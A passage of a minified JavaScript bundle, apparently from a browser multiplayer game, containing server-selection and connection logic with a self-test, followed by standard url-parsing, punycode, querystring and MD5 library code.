7554 })).filter((function(e) {
7555 return !t || 0 == e.playerCount && e.gameIndex >= e.gameCount / 2
7556 })).filter((function(e) {
7557 return "random" == n || i[e.index % i.length].key == n
7558 })).sort((function(e, t) {
7559 return t.playerCount - e.playerCount
7560 })).filter((function(e) {
7561 return e.playerCount < r
7562 }));
7563 if (t && a.reverse(), 0 != a.length) {
7564 var o = Math.min(s, a.length),
7565 c = Math.floor(Math.random() * o),
7566 l = a[c = Math.min(c, a.length - 1)],
7567 h = l.region,
7568 u = (c = Math.floor(l.index / l.gameCount), l.index % l.gameCount);
7569 return this.log("Found server."), [h, c, u]
7570 }
7571 this.errorCallback("No open servers.")
7572 }, s.prototype.connect = function(e, t, n) {
7573 if (!this.connected) {
7574 var i = this.findServer(e, t);
7575 null != i ? (this.log("Connecting to server", i, "with game index", n), i
7576 .games[n].playerCount >= this.lobbySize ? this.errorCallback(
7577 "Server is already full.") : (window.history.replaceState(document.title,
7578 document.title, this.generateHref(e, t, n, this.password)), this.server =
7579 i, this.gameIndex = n, this.log("Calling callback with address", this.serverAddress(
7580 i.ip), "on port", this.serverPort(i), "with game index", n), this.callback(
7581 this.serverAddress(i.ip), this.serverPort(i), n))) : this.errorCallback(
7582 "Failed to find server for region " + e + " and index " + t)
7583 }
7584 }, s.prototype.switchServer = function(e, t, n, i) {
7585 this.switchingServers = !0, window.location.href = this.generateHref(e, t,
7586 n, i)
7587 }, s.prototype.generateHref = function(e, t, n, i) {
7588 var r = "/?server=" + (e = this.stripRegion(e)) + ":" + t + ":" + n;
7589 return i && (r += "&password=" + encodeURIComponent(i)), r
7590 }, s.prototype.serverAddress = function(e, t) {
7591 return "127.0.0.1" == e || "7f000001" == e ||
7592 "903d62ef5d1c2fecdcaeb5e7dd485eff" == e ? window.location.hostname : this
7593 .rawIPs ? t ? "ip_" + this.hashIP(e) + "." + this.baseUrl : e : "ip_" + e +
7594 "." + this.baseUrl
7595 }, s.prototype.serverPort = function(e) {
7596 return 0 == e.region ? this.devPort : location.protocol.startsWith("https") ?
7597 443 : 80
7598 }, s.prototype.processServers = function(e) {
7599 for (var t = {}, n = 0; n < e.length; n++) {
7600 var i = e[n],
7601 r = t[i.region];
7602 null == r && (r = [], t[i.region] = r), r.push(i)
7603 }
7604 for (var s in t) t[s] = t[s].sort((function(e, t) {
7605 return e.index - t.index
7606 }));
7607 this.servers = t
7608 }, s.prototype.ipToHex = function(e) {
7609 return e.split(".").map(e => ("00" + parseInt(e).toString(16)).substr(-2))
7610 .join("").toLowerCase()
7611 }, s.prototype.hashIP = function(e) {
7612 return r(this.ipToHex(e))
7613 }, s.prototype.log = function() {
7614 return this.debugLog ? console.log.apply(void 0, arguments) : console.verbose ?
7615 console.verbose.apply(void 0, arguments) : void 0
7616 }, s.prototype.stripRegion = function(e) {
7617 return e.startsWith("vultr:") ? e = e.slice(6) : e.startsWith("do:") && (e =
7618 e.slice(3)), e
7619 }, window.testVultrClient = function() {
7620 var e = 1;
7621
7622 function t(t, n) {
7623 (t = "" + t) == (n = "" + n) ? console.log(`Assert ${e} passed.`):
7624 console.warn(`Assert ${e} failed. Expected ${n}, got ${t}.`), e++
7625 }
7626 var n = new s("test.io", -1, 5, 1, !1);
7627 n.errorCallback = function(e) {}, n.processServers(function(e) {
7628 var t = [];
7629 for (var n in e)
7630 for (var i = e[n], r = 0; r < i.length; r++) t.push({
7631 ip: n + ":" + r,
7632 scheme: "testing",
7633 region: n,
7634 index: r,
7635 games: i[r].map(e => ({
7636 playerCount: e,
7637 isPrivate: !1
7638 }))
7639 });
7640 return t
7641 }({
7642 1: [
7643 [0, 0, 0, 0],
7644 [0, 0, 0, 0]
7645 ],
7646 2: [
7647 [5, 1, 0, 0],
7648 [0, 0, 0, 0]
7649 ],
7650 3: [
7651 [5, 0, 1, 5],
7652 [0, 0, 0, 0]
7653 ],
7654 4: [
7655 [5, 1, 1, 5],
7656 [1, 0, 0, 0]
7657 ],
7658 5: [
7659 [5, 1, 1, 5],
7660 [1, 0, 4, 0]
7661 ],
7662 6: [
7663 [5, 5, 5, 5],
7664 [2, 3, 1, 4]
7665 ],
7666 7: [
7667 [5, 5, 5, 5],
7668 [5, 5, 5, 5]
7669 ]
7670 })), t(n.seekServer(1, !1), [1, 0, 0]), t(n.seekServer(1, !0), [1, 1, 3]),
7671 t(n.seekServer(2, !1), [2, 0, 1]), t(n.seekServer(2, !0), [2, 1, 3]), t(n
7672 .seekServer(3, !1), [3, 0, 2]), t(n.seekServer(3, !0), [3, 1, 3]), t(n.seekServer(
7673 4, !1), [4, 0, 1]), t(n.seekServer(4, !0), [4, 1, 3]), t(n.seekServer(5, !
7674 1), [5, 1, 2]), t(n.seekServer(5, !0), [5, 1, 3]), t(n.seekServer(6, !1), [
7675 6, 1, 3
7676 ]), t(n.seekServer(6, !0), void 0), t(n.seekServer(7, !1), void 0), t(n.seekServer(
7677 7, !0), void 0), console.log("Tests passed.")
7678 };
7679 var a = function(e, t) {
7680 return e.concat(t)
7681 };
7682 Array.prototype.flatMap = function(e) {
7683 return function(e, t) {
7684 return t.map(e).reduce(a, [])
7685 }(e, this)
7686 }, e.exports = s
7687}, function(e, t, n) {
7688 "use strict";
7689 var i = n(61),
7690 r = n(63);
7691
7692 function s() {
7693 this.protocol = null, this.slashes = null, this.auth = null, this.host =
7694 null, this.port = null, this.hostname = null, this.hash = null, this.search =
7695 null, this.query = null, this.pathname = null, this.path = null, this.href =
7696 null
7697 }
7698 t.parse = v, t.resolve = function(e, t) {
7699 return v(e, !1, !0).resolve(t)
7700 }, t.resolveObject = function(e, t) {
7701 return e ? v(e, !1, !0).resolveObject(t) : t
7702 }, t.format = function(e) {
7703 return r.isString(e) && (e = v(e)), e instanceof s ? e.format() : s.prototype
7704 .format.call(e)
7705 }, t.Url = s;
7706 var a = /^([a-z0-9.+-]+:)/i,
7707 o = /:[0-9]*$/,
7708 c = /^(\/\/?(?!\/)[^\?\s]*)(\?[^\s]*)?$/,
7709 l = ["{", "}", "|", "\\", "^", "`"].concat(["<", ">", '"', "`", " ", "\r",
7710 "\n", "\t"
7711 ]),
7712 h = ["'"].concat(l),
7713 u = ["%", "/", "?", ";", "#"].concat(h),
7714 f = ["/", "?", "#"],
7715 d = /^[+a-z0-9A-Z_-]{0,63}$/,
7716 p = /^([+a-z0-9A-Z_-]{0,63})(.*)$/,
7717 g = {
7718 javascript: !0,
7719 "javascript:": !0
7720 },
7721 m = {
7722 javascript: !0,
7723 "javascript:": !0
7724 },
7725 y = {
7726 http: !0,
7727 https: !0,
7728 ftp: !0,
7729 gopher: !0,
7730 file: !0,
7731 "http:": !0,
7732 "https:": !0,
7733 "ftp:": !0,
7734 "gopher:": !0,
7735 "file:": !0
7736 },
7737 k = n(64);
7738
7739 function v(e, t, n) {
7740 if (e && r.isObject(e) && e instanceof s) return e;
7741 var i = new s;
7742 return i.parse(e, t, n), i
7743 }
7744 s.prototype.parse = function(e, t, n) {
7745 if (!r.isString(e)) throw new TypeError(
7746 "Parameter 'url' must be a string, not " + typeof e);
7747 var s = e.indexOf("?"),
7748 o = -1 !== s && s < e.indexOf("#") ? "?" : "#",
7749 l = e.split(o);
7750 l[0] = l[0].replace(/\\/g, "/");
7751 var v = e = l.join(o);
7752 if (v = v.trim(), !n && 1 === e.split("#").length) {
7753 var w = c.exec(v);
7754 if (w) return this.path = v, this.href = v, this.pathname = w[1], w[2] ?
7755 (this.search = w[2], this.query = t ? k.parse(this.search.substr(1)) :
7756 this.search.substr(1)) : t && (this.search = "", this.query = {}),
7757 this
7758 }
7759 var b = a.exec(v);
7760 if (b) {
7761 var x = (b = b[0]).toLowerCase();
7762 this.protocol = x, v = v.substr(b.length)
7763 }
7764 if (n || b || v.match(/^\/\/[^@\/]+@[^@\/]+/)) {
7765 var S = "//" === v.substr(0, 2);
7766 !S || b && m[b] || (v = v.substr(2), this.slashes = !0)
7767 }
7768 if (!m[b] && (S || b && !y[b])) {
7769 for (var T, I, E = -1, M = 0; M < f.length; M++) - 1 !== (A = v.indexOf(f[
7770 M])) && (-1 === E || A < E) && (E = A);
7771 for (-1 !== (I = -1 === E ? v.lastIndexOf("@") : v.lastIndexOf("@", E)) &&
7772 (T = v.slice(0, I), v = v.slice(I + 1), this.auth = decodeURIComponent(T)),
7773 E = -1, M = 0; M < u.length; M++) {
7774 var A; - 1 !== (A = v.indexOf(u[M])) && (-1 === E || A < E) && (E = A)
7775 } - 1 === E && (E = v.length), this.host = v.slice(0, E), v = v.slice(E),
7776 this.parseHost(), this.hostname = this.hostname || "";
7777 var P = "[" === this.hostname[0] && "]" === this.hostname[this.hostname.length -
7778 1];
7779 if (!P)
7780 for (var B = this.hostname.split(/\./), C = (M = 0, B.length); M < C; M++) {
7781 var O = B[M];
7782 if (O && !O.match(d)) {
7783 for (var R = "", j = 0, _ = O.length; j < _; j++) O.charCodeAt(j) >
7784 127 ? R += "x" : R += O[j];
7785 if (!R.match(d)) {
7786 var U = B.slice(0, M),
7787 D = B.slice(M + 1),
7788 L = O.match(p);
7789 L && (U.push(L[1]), D.unshift(L[2])), D.length && (v = "/" + D.join(
7790 ".") + v), this.hostname = U.join(".");
7791 break
7792 }
7793 }
7794 }
7795 this.hostname.length > 255 ? this.hostname = "" : this.hostname = this.hostname
7796 .toLowerCase(), P || (this.hostname = i.toASCII(this.hostname));
7797 var F = this.port ? ":" + this.port : "",
7798 z = this.hostname || "";
7799 this.host = z + F, this.href += this.host, P && (this.hostname = this.hostname
7800 .substr(1, this.hostname.length - 2), "/" !== v[0] && (v = "/" + v))
7801 }
7802 if (!g[x])
7803 for (M = 0, C = h.length; M < C; M++) {
7804 var H = h[M];
7805 if (-1 !== v.indexOf(H)) {
7806 var V = encodeURIComponent(H);
7807 V === H && (V = escape(H)), v = v.split(H).join(V)
7808 }
7809 }
7810 var q = v.indexOf("#"); - 1 !== q && (this.hash = v.substr(q), v = v.slice(
7811 0, q));
7812 var Y = v.indexOf("?");
7813 if (-1 !== Y ? (this.search = v.substr(Y), this.query = v.substr(Y + 1), t &&
7814 (this.query = k.parse(this.query)), v = v.slice(0, Y)) : t && (this.search =
7815 "", this.query = {}), v && (this.pathname = v), y[x] && this.hostname &&
7816 !this.pathname && (this.pathname = "/"), this.pathname || this.search) {
7817 F = this.pathname || "";
7818 var W = this.search || "";
7819 this.path = F + W
7820 }
7821 return this.href = this.format(), this
7822 }, s.prototype.format = function() {
7823 var e = this.auth || "";
7824 e && (e = (e = encodeURIComponent(e)).replace(/%3A/i, ":"), e += "@");
7825 var t = this.protocol || "",
7826 n = this.pathname || "",
7827 i = this.hash || "",
7828 s = !1,
7829 a = "";
7830 this.host ? s = e + this.host : this.hostname && (s = e + (-1 === this.hostname
7831 .indexOf(":") ? this.hostname : "[" + this.hostname + "]"), this.port &&
7832 (s += ":" + this.port)), this.query && r.isObject(this.query) && Object.keys(
7833 this.query).length && (a = k.stringify(this.query));
7834 var o = this.search || a && "?" + a || "";
7835 return t && ":" !== t.substr(-1) && (t += ":"), this.slashes || (!t || y[t]) &&
7836 !1 !== s ? (s = "//" + (s || ""), n && "/" !== n.charAt(0) && (n = "/" +
7837 n)) : s || (s = ""), i && "#" !== i.charAt(0) && (i = "#" + i), o && "?" !==
7838 o.charAt(0) && (o = "?" + o), t + s + (n = n.replace(/[?#]/g, (function(e) {
7839 return encodeURIComponent(e)
7840 }))) + (o = o.replace("#", "%23")) + i
7841 }, s.prototype.resolve = function(e) {
7842 return this.resolveObject(v(e, !1, !0)).format()
7843 }, s.prototype.resolveObject = function(e) {
7844 if (r.isString(e)) {
7845 var t = new s;
7846 t.parse(e, !1, !0), e = t
7847 }
7848 for (var n = new s, i = Object.keys(this), a = 0; a < i.length; a++) {
7849 var o = i[a];
7850 n[o] = this[o]
7851 }
7852 if (n.hash = e.hash, "" === e.href) return n.href = n.format(), n;
7853 if (e.slashes && !e.protocol) {
7854 for (var c = Object.keys(e), l = 0; l < c.length; l++) {
7855 var h = c[l];
7856 "protocol" !== h && (n[h] = e[h])
7857 }
7858 return y[n.protocol] && n.hostname && !n.pathname && (n.path = n.pathname =
7859 "/"), n.href = n.format(), n
7860 }
7861 if (e.protocol && e.protocol !== n.protocol) {
7862 if (!y[e.protocol]) {
7863 for (var u = Object.keys(e), f = 0; f < u.length; f++) {
7864 var d = u[f];
7865 n[d] = e[d]
7866 }
7867 return n.href = n.format(), n
7868 }
7869 if (n.protocol = e.protocol, e.host || m[e.protocol]) n.pathname = e.pathname;
7870 else {
7871 for (var p = (e.pathname || "").split("/"); p.length && !(e.host = p.shift());)
7872 ;
7873 e.host || (e.host = ""), e.hostname || (e.hostname = ""), "" !== p[0] &&
7874 p.unshift(""), p.length < 2 && p.unshift(""), n.pathname = p.join("/")
7875 }
7876 if (n.search = e.search, n.query = e.query, n.host = e.host || "", n.auth =
7877 e.auth, n.hostname = e.hostname || e.host, n.port = e.port, n.pathname ||
7878 n.search) {
7879 var g = n.pathname || "",
7880 k = n.search || "";
7881 n.path = g + k
7882 }
7883 return n.slashes = n.slashes || e.slashes, n.href = n.format(), n
7884 }
7885 var v = n.pathname && "/" === n.pathname.charAt(0),
7886 w = e.host || e.pathname && "/" === e.pathname.charAt(0),
7887 b = w || v || n.host && e.pathname,
7888 x = b,
7889 S = n.pathname && n.pathname.split("/") || [],
7890 T = (p = e.pathname && e.pathname.split("/") || [], n.protocol && !y[n.protocol]);
7891 if (T && (n.hostname = "", n.port = null, n.host && ("" === S[0] ? S[0] =
7892 n.host : S.unshift(n.host)), n.host = "", e.protocol && (e.hostname =
7893 null, e.port = null, e.host && ("" === p[0] ? p[0] = e.host : p.unshift(
7894 e.host)), e.host = null), b = b && ("" === p[0] || "" === S[0])), w) n.host =
7895 e.host || "" === e.host ? e.host : n.host, n.hostname = e.hostname || "" ===
7896 e.hostname ? e.hostname : n.hostname, n.search = e.search, n.query = e.query,
7897 S = p;
7898 else if (p.length) S || (S = []), S.pop(), S = S.concat(p), n.search = e.search,
7899 n.query = e.query;
7900 else if (!r.isNullOrUndefined(e.search)) return T && (n.hostname = n.host =
7901 S.shift(), (P = !!(n.host && n.host.indexOf("@") > 0) && n.host.split(
7902 "@")) && (n.auth = P.shift(), n.host = n.hostname = P.shift())), n.search =
7903 e.search, n.query = e.query, r.isNull(n.pathname) && r.isNull(n.search) ||
7904 (n.path = (n.pathname ? n.pathname : "") + (n.search ? n.search : "")),
7905 n.href = n.format(), n;
7906 if (!S.length) return n.pathname = null, n.search ? n.path = "/" + n.search :
7907 n.path = null, n.href = n.format(), n;
7908 for (var I = S.slice(-1)[0], E = (n.host || e.host || S.length > 1) && (
7909 "." === I || ".." === I) || "" === I, M = 0, A = S.length; A >= 0; A--)
7910 "." === (I = S[A]) ? S.splice(A, 1) : ".." === I ? (S.splice(A, 1), M++) :
7911 M && (S.splice(A, 1), M--);
7912 if (!b && !x)
7913 for (; M--; M) S.unshift("..");
7914 !b || "" === S[0] || S[0] && "/" === S[0].charAt(0) || S.unshift(""), E &&
7915 "/" !== S.join("/").substr(-1) && S.push("");
7916 var P, B = "" === S[0] || S[0] && "/" === S[0].charAt(0);
7917 return T && (n.hostname = n.host = B ? "" : S.length ? S.shift() : "", (P = !
7918 !(n.host && n.host.indexOf("@") > 0) && n.host.split("@")) && (n.auth =
7919 P.shift(), n.host = n.hostname = P.shift())), (b = b || n.host && S.length) &&
7920 !B && S.unshift(""), S.length ? n.pathname = S.join("/") : (n.pathname =
7921 null, n.path = null), r.isNull(n.pathname) && r.isNull(n.search) || (n.path =
7922 (n.pathname ? n.pathname : "") + (n.search ? n.search : "")), n.auth = e
7923 .auth || n.auth, n.slashes = n.slashes || e.slashes, n.href = n.format(),
7924 n
7925 }, s.prototype.parseHost = function() {
7926 var e = this.host,
7927 t = o.exec(e);
7928 t && (":" !== (t = t[0]) && (this.port = t.substr(1)), e = e.substr(0, e.length -
7929 t.length)), e && (this.hostname = e)
7930 }
7931}, function(e, t, n) {
7932 (function(e, i) {
7933 var r; /*! https://mths.be/punycode v1.4.1 by @mathias */
7934 ! function(s) {
7935 t && t.nodeType, e && e.nodeType;
7936 var a = "object" == typeof i && i;
7937 a.global !== a && a.window !== a && a.self;
7938 var o, c = 2147483647,
7939 l = 36,
7940 h = /^xn--/,
7941 u = /[^\x20-\x7E]/,
7942 f = /[\x2E\u3002\uFF0E\uFF61]/g,
7943 d = {
7944 overflow: "Overflow: input needs wider integers to process",
7945 "not-basic": "Illegal input >= 0x80 (not a basic code point)",
7946 "invalid-input": "Invalid input"
7947 },
7948 p = Math.floor,
7949 g = String.fromCharCode;
7950
7951 function m(e) {
7952 throw new RangeError(d[e])
7953 }
7954
7955 function y(e, t) {
7956 for (var n = e.length, i = []; n--;) i[n] = t(e[n]);
7957 return i
7958 }
7959
7960 function k(e, t) {
7961 var n = e.split("@"),
7962 i = "";
7963 return n.length > 1 && (i = n[0] + "@", e = n[1]), i + y((e = e.replace(
7964 f, ".")).split("."), t).join(".")
7965 }
7966
7967 function v(e) {
7968 for (var t, n, i = [], r = 0, s = e.length; r < s;)(t = e.charCodeAt(r++)) >=
7969 55296 && t <= 56319 && r < s ? 56320 == (64512 & (n = e.charCodeAt(r++))) ?
7970 i.push(((1023 & t) << 10) + (1023 & n) + 65536) : (i.push(t), r--) : i.push(
7971 t);
7972 return i
7973 }
7974
7975 function w(e) {
7976 return y(e, (function(e) {
7977 var t = "";
7978 return e > 65535 && (t += g((e -= 65536) >>> 10 & 1023 | 55296), e =
7979 56320 | 1023 & e), t + g(e)
7980 })).join("")
7981 }
7982
7983 function b(e) {
7984 return e - 48 < 10 ? e - 22 : e - 65 < 26 ? e - 65 : e - 97 < 26 ? e -
7985 97 : l
7986 }
7987
7988 function x(e, t) {
7989 return e + 22 + 75 * (e < 26) - ((0 != t) << 5)
7990 }
7991
7992 function S(e, t, n) {
7993 var i = 0;
7994 for (e = n ? p(e / 700) : e >> 1, e += p(e / t); e > 455; i += l) e = p(
7995 e / 35);
7996 return p(i + 36 * e / (e + 38))
7997 }
7998
7999 function T(e) {
8000 var t, n, i, r, s, a, o, h, u, f, d = [],
8001 g = e.length,
8002 y = 0,
8003 k = 128,
8004 v = 72;
8005 for ((n = e.lastIndexOf("-")) < 0 && (n = 0), i = 0; i < n; ++i) e.charCodeAt(
8006 i) >= 128 && m("not-basic"), d.push(e.charCodeAt(i));
8007 for (r = n > 0 ? n + 1 : 0; r < g;) {
8008 for (s = y, a = 1, o = l; r >= g && m("invalid-input"), ((h = b(e.charCodeAt(
8009 r++))) >= l || h > p((c - y) / a)) && m("overflow"), y += h * a, !(h <
8010 (u = o <= v ? 1 : o >= v + 26 ? 26 : o - v)); o += l) a > p(c / (f =
8011 l - u)) && m("overflow"), a *= f;
8012 v = S(y - s, t = d.length + 1, 0 == s), p(y / t) > c - k && m(
8013 "overflow"), k += p(y / t), y %= t, d.splice(y++, 0, k)
8014 }
8015 return w(d)
8016 }
8017
8018 function I(e) {
8019 var t, n, i, r, s, a, o, h, u, f, d, y, k, w, b, T = [];
8020 for (y = (e = v(e)).length, t = 128, n = 0, s = 72, a = 0; a < y; ++a)(d =
8021 e[a]) < 128 && T.push(g(d));
8022 for (i = r = T.length, r && T.push("-"); i < y;) {
8023 for (o = c, a = 0; a < y; ++a)(d = e[a]) >= t && d < o && (o = d);
8024 for (o - t > p((c - n) / (k = i + 1)) && m("overflow"), n += (o - t) *
8025 k, t = o, a = 0; a < y; ++a)
8026 if ((d = e[a]) < t && ++n > c && m("overflow"), d == t) {
8027 for (h = n, u = l; !(h < (f = u <= s ? 1 : u >= s + 26 ? 26 : u - s)); u +=
8028 l) b = h - f, w = l - f, T.push(g(x(f + b % w, 0))), h = p(b / w);
8029 T.push(g(x(h, 0))), s = S(n, k, i == r), n = 0, ++i
8030 }++n, ++t
8031 }
8032 return T.join("")
8033 }
8034 o = {
8035 version: "1.4.1",
8036 ucs2: {
8037 decode: v,
8038 encode: w
8039 },
8040 decode: T,
8041 encode: I,
8042 toASCII: function(e) {
8043 return k(e, (function(e) {
8044 return u.test(e) ? "xn--" + I(e) : e
8045 }))
8046 },
8047 toUnicode: function(e) {
8048 return k(e, (function(e) {
8049 return h.test(e) ? T(e.slice(4).toLowerCase()) : e
8050 }))
8051 }
8052 }, void 0 === (r = function() {
8053 return o
8054 }.call(t, n, t, e)) || (e.exports = r)
8055 }()
8056 }).call(this, n(62)(e), n(12))
8057}, function(e, t) {
8058 e.exports = function(e) {
8059 return e.webpackPolyfill || (e.deprecate = function() {}, e.paths = [], e.children ||
8060 (e.children = []), Object.defineProperty(e, "loaded", {
8061 enumerable: !0,
8062 get: function() {
8063 return e.l
8064 }
8065 }), Object.defineProperty(e, "id", {
8066 enumerable: !0,
8067 get: function() {
8068 return e.i
8069 }
8070 }), e.webpackPolyfill = 1), e
8071 }
8072}, function(e, t, n) {
8073 "use strict";
8074 e.exports = {
8075 isString: function(e) {
8076 return "string" == typeof e
8077 },
8078 isObject: function(e) {
8079 return "object" == typeof e && null !== e
8080 },
8081 isNull: function(e) {
8082 return null === e
8083 },
8084 isNullOrUndefined: function(e) {
8085 return null == e
8086 }
8087 }
8088}, function(e, t, n) {
8089 "use strict";
8090 t.decode = t.parse = n(65), t.encode = t.stringify = n(66)
8091}, function(e, t, n) {
8092 "use strict";
8093
8094 function i(e, t) {
8095 return Object.prototype.hasOwnProperty.call(e, t)
8096 }
8097 e.exports = function(e, t, n, s) {
8098 t = t || "&", n = n || "=";
8099 var a = {};
8100 if ("string" != typeof e || 0 === e.length) return a;
8101 var o = /\+/g;
8102 e = e.split(t);
8103 var c = 1e3;
8104 s && "number" == typeof s.maxKeys && (c = s.maxKeys);
8105 var l = e.length;
8106 c > 0 && l > c && (l = c);
8107 for (var h = 0; h < l; ++h) {
8108 var u, f, d, p, g = e[h].replace(o, "%20"),
8109 m = g.indexOf(n);
8110 m >= 0 ? (u = g.substr(0, m), f = g.substr(m + 1)) : (u = g, f = ""), d =
8111 decodeURIComponent(u), p = decodeURIComponent(f), i(a, d) ? r(a[d]) ? a[
8112 d].push(p) : a[d] = [a[d], p] : a[d] = p
8113 }
8114 return a
8115 };
8116 var r = Array.isArray || function(e) {
8117 return "[object Array]" === Object.prototype.toString.call(e)
8118 }
8119}, function(e, t, n) {
8120 "use strict";
8121 var i = function(e) {
8122 switch (typeof e) {
8123 case "string":
8124 return e;
8125 case "boolean":
8126 return e ? "true" : "false";
8127 case "number":
8128 return isFinite(e) ? e : "";
8129 default:
8130 return ""
8131 }
8132 };
8133 e.exports = function(e, t, n, o) {
8134 return t = t || "&", n = n || "=", null === e && (e = void 0), "object" ==
8135 typeof e ? s(a(e), (function(a) {
8136 var o = encodeURIComponent(i(a)) + n;
8137 return r(e[a]) ? s(e[a], (function(e) {
8138 return o + encodeURIComponent(i(e))
8139 })).join(t) : o + encodeURIComponent(i(e[a]))
8140 })).join(t) : o ? encodeURIComponent(i(o)) + n + encodeURIComponent(i(e)) :
8141 ""
8142 };
8143 var r = Array.isArray || function(e) {
8144 return "[object Array]" === Object.prototype.toString.call(e)
8145 };
8146
8147 function s(e, t) {
8148 if (e.map) return e.map(t);
8149 for (var n = [], i = 0; i < e.length; i++) n.push(t(e[i], i));
8150 return n
8151 }
8152 var a = Object.keys || function(e) {
8153 var t = [];
8154 for (var n in e) Object.prototype.hasOwnProperty.call(e, n) && t.push(n);
8155 return t
8156 }
8157}, function(e, t, n) {
8158 ! function() {
8159 var t = n(68),
8160 i = n(20).utf8,
8161 r = n(69),
8162 s = n(20).bin,
8163 a = function(e, n) {
8164 e.constructor == String ? e = n && "binary" === n.encoding ? s.stringToBytes(
8165 e) : i.stringToBytes(e) : r(e) ? e = Array.prototype.slice.call(e, 0) :
8166 Array.isArray(e) || (e = e.toString());
8167 for (var o = t.bytesToWords(e), c = 8 * e.length, l = 1732584193, h = -
8168 271733879, u = -1732584194, f = 271733878, d = 0; d < o.length; d++) o[
8169 d] = 16711935 & (o[d] << 8 | o[d] >>> 24) | 4278255360 & (o[d] << 24 |
8170 o[d] >>> 8);
8171 o[c >>> 5] |= 128 << c % 32, o[14 + (c + 64 >>> 9 << 4)] = c;
8172 var p = a._ff,
8173 g = a._gg,
8174 m = a._hh,
8175 y = a._ii;
8176 for (d = 0; d < o.length; d += 16) {
8177 var k = l,
8178 v = h,
8179 w = u,
8180 b = f;
8181 h = y(h = y(h = y(h = y(h = m(h = m(h = m(h = m(h = g(h = g(h = g(h = g(
8182 h = p(h = p(h = p(h = p(h, u = p(u, f = p(f, l = p(l, h, u,
8183 f, o[d + 0], 7, -680876936), h, u, o[d + 1], 12, -
8184 389564586), l, h, o[d + 2], 17, 606105819), f, l, o[d +
8185 3], 22, -1044525330), u = p(u, f = p(f, l = p(l, h, u,
8186 f, o[d + 4], 7, -176418897), h, u, o[d + 5], 12,
8187 1200080426), l, h, o[d + 6], 17, -1473231341), f, l, o[
8188 d + 7], 22, -45705983), u = p(u, f = p(f, l = p(l, h, u,
8189 f, o[d + 8], 7, 1770035416), h, u, o[d + 9], 12, -
8190 1958414417), l, h, o[d + 10], 17, -42063), f, l, o[d +
8191 11], 22, -1990404162), u = p(u, f = p(f, l = p(l, h, u, f,
8192 o[d + 12], 7, 1804603682), h, u, o[d + 13], 12, -
8193 40341101), l, h, o[d + 14], 17, -1502002290), f, l, o[d +
8194 15], 22, 1236535329), u = g(u, f = g(f, l = g(l, h, u, f,
8195 o[d + 1], 5, -165796510), h, u, o[d + 6], 9, -1069501632),
8196 l, h, o[d + 11], 14, 643717713), f, l, o[d + 0], 20, -
8197 373897302), u = g(u, f = g(f, l = g(l, h, u, f, o[d + 5], 5, -
8198 701558691), h, u, o[d + 10], 9, 38016083), l, h, o[d + 15],
8199 14, -660478335), f, l, o[d + 4], 20, -405537848), u = g(u, f =
8200 g(f, l = g(l, h, u, f, o[d + 9], 5, 568446438), h, u, o[d +
8201 14], 9, -1019803690), l, h, o[d + 3], 14, -187363961), f, l,
8202 o[d + 8], 20, 1163531501), u = g(u, f = g(f, l = g(l, h, u, f,
8203 o[d + 13], 5, -1444681467), h, u, o[d + 2], 9, -51403784), l,
8204 h, o[d + 7], 14, 1735328473), f, l, o[d + 12], 20, -
8205 1926607734), u = m(u, f = m(f, l = m(l, h, u, f, o[d + 5], 4, -
8206 378558), h, u, o[d + 8], 11, -2022574463), l, h, o[d + 11],
8207 16, 1839030562), f, l, o[d + 14], 23, -35309556), u = m(u, f =
8208 m(f, l = m(l, h, u, f, o[d + 1], 4, -1530992060), h, u, o[d + 4],
8209 11, 1272893353), l, h, o[d + 7], 16, -155497632), f, l, o[d +
8210 10], 23, -1094730640), u = m(u, f = m(f, l = m(l, h, u, f, o[d +
8211 13], 4, 681279174), h, u, o[d + 0], 11, -358537222), l, h, o[d +
8212 3], 16, -722521979), f, l, o[d + 6], 23, 76029189), u = m(u, f =
8213 m(f, l = m(l, h, u, f, o[d + 9], 4, -640364487), h, u, o[d + 12],
8214 11, -421815835), l, h, o[d + 15], 16, 530742520), f, l, o[d + 2],
8215 23, -995338651), u = y(u, f = y(f, l = y(l, h, u, f, o[d + 0], 6, -
8216 198630844), h, u, o[d + 7], 10, 1126891415), l, h, o[d + 14], 15, -
8217 1416354905), f, l, o[d + 5], 21, -57434055), u = y(u, f = y(f, l =
8218 y(l, h, u, f, o[d + 12], 6, 1700485571), h, u, o[d + 3], 10, -
8219 1894986606), l, h, o[d + 10], 15, -1051523), f, l, o[d + 1], 21, -
8220 2054922799), u = y(u, f = y(f, l = y(l, h, u, f, o[d + 8], 6,
8221 1873313359), h, u, o[d + 15], 10, -30611744), l, h, o[d + 6], 15, -
8222 1560198380), f, l, o[d + 13], 21, 1309151649), u = y(u, f = y(f, l =
8223 y(l, h, u, f, o[d + 4], 6, -145523070), h, u, o[d + 11], 10, -
8224 1120210379), l, h, o[d + 2], 15, 718787259), f, l, o[d + 9], 21, -
8225 343485551), l = l + k >>> 0, h = h + v >>> 0, u = u + w >>> 0, f = f +
8226 b >>> 0
8227 }
8228 return t.endian([l, h, u, f])
8229 };
8230 a._ff = function(e, t, n, i, r, s, a) {
8231 var o = e + (t & n | ~t & i) + (r >>> 0) + a;
8232 return (o << s | o >>> 32 - s) + t
8233 }, a._gg = function(e, t, n, i, r, s, a) {
8234 var o = e + (t & i | n & ~i) + (r >>> 0) + a;
8235 return (o << s | o >>> 32 - s) + t
8236 }, a._hh = function(e, t, n, i, r, s, a) {
8237 var o = e + (t ^ n ^ i) + (r >>> 0) + a;
8238 return (o << s | o >>> 32 - s) + t
8239 }, a._ii = function(e, t, n, i, r, s, a) {
8240 var o = e + (n ^ (t | ~i)) + (r >>> 0) + a;
8241 return (o << s | o >>> 32 - s) + t
8242 }, a._blocksize = 16, a._digestsize = 16, e.exports = function(e, n) {
8243 if (null == e) throw new Error("Illegal argument " + e);
8244 var i = t.wordsToBytes(a(e, n));
8245 return n && n.asBytes ? i : n && n.asString ? s.bytesToString(i) : t.bytesToHex(
8246 i)
8247 }
8248 }()
8249}, function(e, t) {
8250 ! function() {
8251 var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
8252 n = {
8253 rotl: function(e, t) {
8254 return e << t | e >>> 32 - t
8255 },
8256 rotr: function(e, t) {
8257 return e << 32 - t | e >>> t
8258 },
8259 endian: function(e) {
8260 if (e.constructor == Number) return 16711935 & n.rotl(e, 8) |
8261 4278255360 & n.rotl(e, 24);
8262 for (var t = 0; t < e.length; t++) e[t] = n.endian(e[t]);
8263 return e
8264 },
8265 randomBytes: function(e) {
8266 for (var t = []; e > 0; e--) t.push(Math.floor(256 * Math.random()));
8267 return t
8268 },
8269 bytesToWords: function(e) {
